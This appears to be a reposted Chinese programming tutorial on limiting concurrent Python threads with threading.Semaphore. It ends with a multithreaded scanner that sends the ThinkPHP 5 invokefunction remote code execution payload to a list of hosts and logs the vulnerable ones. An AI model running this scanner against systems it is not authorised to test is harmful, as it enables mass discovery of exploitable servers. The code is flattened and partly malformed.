前面寫過一篇關(guān)于python多線程的實現(xiàn)的文章， 但是效果不是最佳的，寫法也不是很好。通過網(wǎng)上學(xué)習(xí)，也了解到了semaphore這個東西。

百度給的解釋：Semaphore是一種在多線程環(huán)境下使用的設(shè)施，該設(shè)施負(fù)責(zé)協(xié)調(diào)各個線程，以保證它們能夠正確、合理的使用公共資源的設(shè)施，也是操作系統(tǒng)中用于控制進程同步互斥的量。

一個有趣的例子：假設(shè)停車場只有三個車位，一開始三個車位都是空的。這時如果同時來了五輛車，看門人允許其中三輛不受阻礙的進入，然后放下車攔，剩下的車則必須在入口等待，此后來的車也都不得不在入口處等待。這時，有一輛車離開停車場，看門人得知后，打開車攔，放入一輛，如果又離開兩輛，則又可以放入兩輛，如此往復(fù)。

簡而言之，也就是能夠控制多線程并發(fā)的數(shù)量。

簡單記錄一下如何通過semaphore實現(xiàn)線程數(shù)的控制。

簡單代碼：

#! -*-coding: utf-8-*-import threadingimport timeclass test(threading.Thread): #繼承threading類 def __init__(self, i, sem): super(test, self).__init__() #繼承python的構(gòu)造方法，這為python2的寫法，python3可直接super().__init__() self.i = i self.sem = sem def run(self): time.sleep(0.1) print('the test i is : ' + str(self.i)) self.sem.release()#釋放線程數(shù)，線程數(shù)加1if __name__ == ’__main__’: sem = threading.Semaphore(5) #設(shè)置可同時執(zhí)行的最大線程數(shù) for i in range(50): sem.acquire() #獲得線程，可用線程數(shù)減1 t = test(i, sem) #給執(zhí)行函數(shù)傳遞值 t.start() #執(zhí)行函數(shù)sem = threading.Semaphore(5) #設(shè)置可同時開啟的線程數(shù)，這里為5個

每執(zhí)行一次函數(shù)的時候就獲得一個線程數(shù)，sem.acquire()；每次執(zhí)行完函數(shù)，就會釋放一個線程數(shù)，sem.release()。只要acquire()的線程數(shù)達到了最大數(shù)（這里為5），后面的線程就只能先等待前面獲得的線程執(zhí)行完函數(shù)過后釋放，后面的線程才能繼續(xù)執(zhí)行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本，但是方法不夠好，這次用這個方法改了一下，貼在這里(掃描tp5是否存在代碼執(zhí)行漏洞的掃描腳本)：

# -*- coding:UTF-8 -*-import requestsimport threadingimport timeimport sysclass check(threading.Thread): #判斷是否存在這個漏洞的執(zhí)行函數(shù) def __init__(self, url, sem): super(check, self).__init__() #繼承threading類的構(gòu)造方法，python3的寫法super().__init__() self.url = url self.sem = sem def run(self): time.sleep(0.2) parameters = 's=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' try: responce = requests.get(url = self.url, params = parameters) body = responce.text if body.find(’PHP Extension’) != -1: with open('success.txt', 'a+') as f1: f1.write('存在tp5遠(yuǎn)程代碼執(zhí)行漏洞: ' + self.url + 'n') print('[+] ' + self.url) else: print('[-] ' + self.url) except Exception,err: print('connect failed') pass self.sem.release() #執(zhí)行完函數(shù)，釋放線程，線程數(shù)加1class host(threading.Thread): #遍歷文件操作 def __init__(self, sem): super(host, self).__init__() #繼承threading類的構(gòu)造方法，python3的寫法super().__init__() self.sem = sem def run(self): with open(sys.argv[1], 'r') as f: for host in f.readlines(): self.sem.acquire() #遍歷一個就獲得一個線程，直到達到最大 host = 'http://' + host.strip() host_thread = check(host, self.sem) host_thread.start() #執(zhí)行check()的執(zhí)行函數(shù)if __name__ == ’__main__’: sem = threading.Semaphore(10) #最大線程數(shù)為10個 thread = host(sem) #傳遞sem值 thread.start()

到此這篇關(guān)于python多線程semaphore實現(xiàn)線程數(shù)控制的示例的文章就介紹到這了,更多相關(guān)python 線程數(shù)控制內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)！